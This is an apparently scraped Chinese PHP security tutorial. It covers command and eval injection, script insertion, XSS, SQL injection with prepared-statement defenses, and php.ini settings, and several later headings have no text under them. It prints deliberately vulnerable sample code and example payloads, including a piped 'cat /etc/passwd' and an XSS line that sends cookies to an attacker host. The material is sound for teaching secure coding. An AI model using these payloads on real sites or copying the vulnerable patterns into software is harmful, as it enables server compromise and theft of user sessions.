8. PHP的高效率写法:
9. PHP的安全漏洞问题:
PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)
$dir = $_GET["dir"];
if (isset($dir)) {
echo "";
system("ls -al ".$dir);
echo "";
}
?>
我们提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
2、eval注入(Eval Injection)
eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;
防范命令注入和eval注入的方法
1)、尽量不要执行外部命令。
2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。
3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
3、客户端脚本攻击(Script Insertion)
客户端脚本植入的攻击步骤
1)、攻击者注册普通用户后登陆网站
2)、打开留言页面,插入攻击的js代码
3)、其他用户登录网站(包括管理员),浏览此留言的内容
4)、隐藏在留言内容中的js代码被执行,攻击成功
表单输入一些浏览器可以执行的脚本:
插入 <script>while(1){windows.open();}</script> 无限弹框
插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
4、跨网站脚本攻击(Cross Site Scripting, XSS)
恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:
插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
或者是链接:
http://w w w.my.site/index.php?user=document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;
2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3)、网站执行了此xss攻击脚本
4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5)、攻击者使用目标用户的信息登录网站,完成攻击
防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
5、SQL注入攻击(SQL injection)
SQL注入最有效的防御方式是使用准备语句:
准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。
其优点:
1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。
2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。
1)用PDO(PHP Data Objects ):
PHP PDO::prepare() and execute()
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');
$preparedStatement->execute(array(':column' => $unsafeValue));
2) 使用mysqli:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP响应拆分攻击(HTTP Response Splitting)
10、文件上传漏洞(File Upload Attack)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP请求欺骗攻击(Spoofed HTTP Requests)
几个重要的php.ini选项:register_globals、、magic_quotes、safe_mode。 这个几个选项在PHP5.4都将被弃用。
register_globals:
php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals
的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患。
要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。
safe_mode:
安全模式,PHP用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用安全模式必须设置php.ini中的safe_mode=On
magic_quotes
用来让php程序的输入信息自动转义,所有的单引号(“'”),双引号(“"”),反斜杠(“\”)和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On,它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP 请求数据,或者用stripslashes 来删除转义。
http://www.bkjia.com/PHPjc/477758.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/477758.htmlTechArticle1、php隐性的三元操作符(?:)优先级问题: 例1: $person = $who or $person = laruence; //实际上是等同于: $person = emptyempty($who)? laruence : $who; 例2 $arr =...